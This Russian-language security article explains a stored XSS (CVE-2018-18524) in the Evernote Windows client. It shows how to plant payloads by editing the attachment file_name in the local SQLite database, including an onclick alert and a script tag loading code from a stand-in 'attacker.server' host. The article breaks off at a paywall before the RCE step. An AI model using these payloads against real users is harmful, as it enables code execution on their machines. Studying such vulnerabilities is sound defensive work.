Не сомневаюсь, что ты слышал про сервис создания и хранения заметок Evernote. В клиентском приложении Evernote для Windows есть хранимая XSS-уязвимость, с помощью которой можно выполнить произвольный код на целевой системе пользователя.
Эта уязвимость получила код CVE-2018-18524.
Evernote — это один из первопроходцев в области сервисов для ведения заметок на разных устройствах с возможностью синхронизации. Публичная бета была выпущена уже более десяти лет назад, в июне 2008 года. Заметками здесь считаются фрагменты форматированного текста, веб-страницы целиком или частями, фотографии, аудиофайлы или рукописные записи.
Заметки могут также содержать вложения с файлами другого типа. Довольно удобная вещь, которая прочно вошла в обиход современного пользователя. Количество пользователей Evernote на данный момент превысило 200 миллионов. Разумеется, клиенты Evernote доступны на всех основных платформах: Android, iOS, macOS и, конечно, Windows.
В версии для Windows и была обнаружена уязвимость типа XSS. Многие исследователи и аудиторы недооценивают этот тип атак и списывают его со счетов. Но перед нами как раз пример случая, когда XSS легким движением руки превращается в удаленное выполнение команд на машине юзера.
Уязвимость изначально была найдена человеком под ником @sebao, а затем допилена и раскручена до RCE исследователем Тунцином Чжу (Tongqing Zhu) из Knownsec 404 и отправлена вендору. Под угрозой оказались все версии приложения ниже беты 6.16.1. Давай посмотрим, как это стало возможным.
Так как уязвима только версия приложения для Windows, нам, очевидно, понадобится эта ОС. Заметку с XSS можно создать почти в любой версии ниже 6.15. Я буду использовать 6.14.5 билд 7671. Установка стандартна.
После того как мы создадим заметку с пейлоадом, она будет работать на любой версии ниже беты 6.16.1.
Почему такая путаница с версиями? Дело в том, что с 6.15 разработчики внедрили санитизацию пользовательских данных: фильтруются символы <
, >
и "
. Поэтому создать заметку с XSS легальными способами в приложении больше не выйдет.
После установки нужно зарегистрироваться или войти в аккаунт, если он у тебя уже есть. Создаем новую заметку и перетаскиваем туда любую картинку.
Окно можно закрывать, данные сохраняются автоматически. Теперь посмотрим, в каком формате приложение хранит данные. Для этого зайдем в настройки в секцию General и найдем раздел Evernote local files.
Там нужно нажать на линк Open Database folder. Попадаем в папку с файлами профиля вида <имя_профиля>.exb
. Для открытия такого файла придется скопировать его или завершить работу с приложением Evernote. Воспользуемся любым HEX-редактором, чтобы увидеть содержимое файла.
Как видишь, заголовок сообщает, что это обычная база данных в формате SQLite версии 3. Проверим это. Существует множество приложений, которые позволяют манипулировать ими. Я пользуюсь DB Browser for SQLite. Устанавливаем и открываем файл EXB в ней. Среди множества таблиц есть resource_attr
. Здесь хранятся данные элементов, прикрепленных к заметкам, таких как наша картинка.
В поле file_name
хранится текущее имя аттача. Его можно изменить в самой заметке, щелкнув правой кнопкой мыши на картинку и выбрав Rename. Напишем здесь что-то более осмысленное, например " onclick="alert('XSS')">.jpg
.
Теперь заглянем в базу и снова посмотрим на поле file_name
.
Теперь переоткроем созданную заметку и кликнем по картинке.
Бам! Поймали алерт. Так происходит, потому что в редакторе используется разметка HTML для форматирования данных. Под катом почти полноценный браузер с JavaScript и всякими дополнительными плюшками. Можно покопаться в памяти процесса Evernote и найти, как выглядит код, выводящий картинку.
<span> <div><img src="en-resource://database/392:0" type="image/jpeg" data-filename="Mia.jpg#26759185"/></div> <div><br/></div> </span>
Ссылка en-resource://database/392:0
указывает на аттач с UID 392 в базе. Как ты видел выше, это наша картинка. В атрибуте data-filename
— данные из поля file_name
. Именно сюда мы внедряем пейлоад.
<img src="en-resource://database/392:0" type="image/jpeg" data-filename="" onclick="alert('XSS')">.jpg#26759185"/>
Поэтому-то алерт и отрабатывает.
Если ты используешь более новую версию, в которой уже фильтруется пользовательский ввод и нельзя создать картинку с XSS, то можешь изменить поле file_name
напрямую в таблице — это тоже прокатит.
Давай преобразуем наш пейлоад в более удобный для эксплуатации вид:
"><script src="http://attacker.server/xss.js">.jpg
Теперь нам не придется каждый раз править код, чтобы попробовать что-то новое.
Материалы из последних выпусков можно покупать отдельно только через два месяца после публикации. Чтобы продолжить чтение, необходимо купить подписку.
Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке
1 год4970 р. Экономия 1400 рублей! |
1 месяц720 р. 25-30 статей в месяц |
Уже подписан?
Читайте также
Последние новости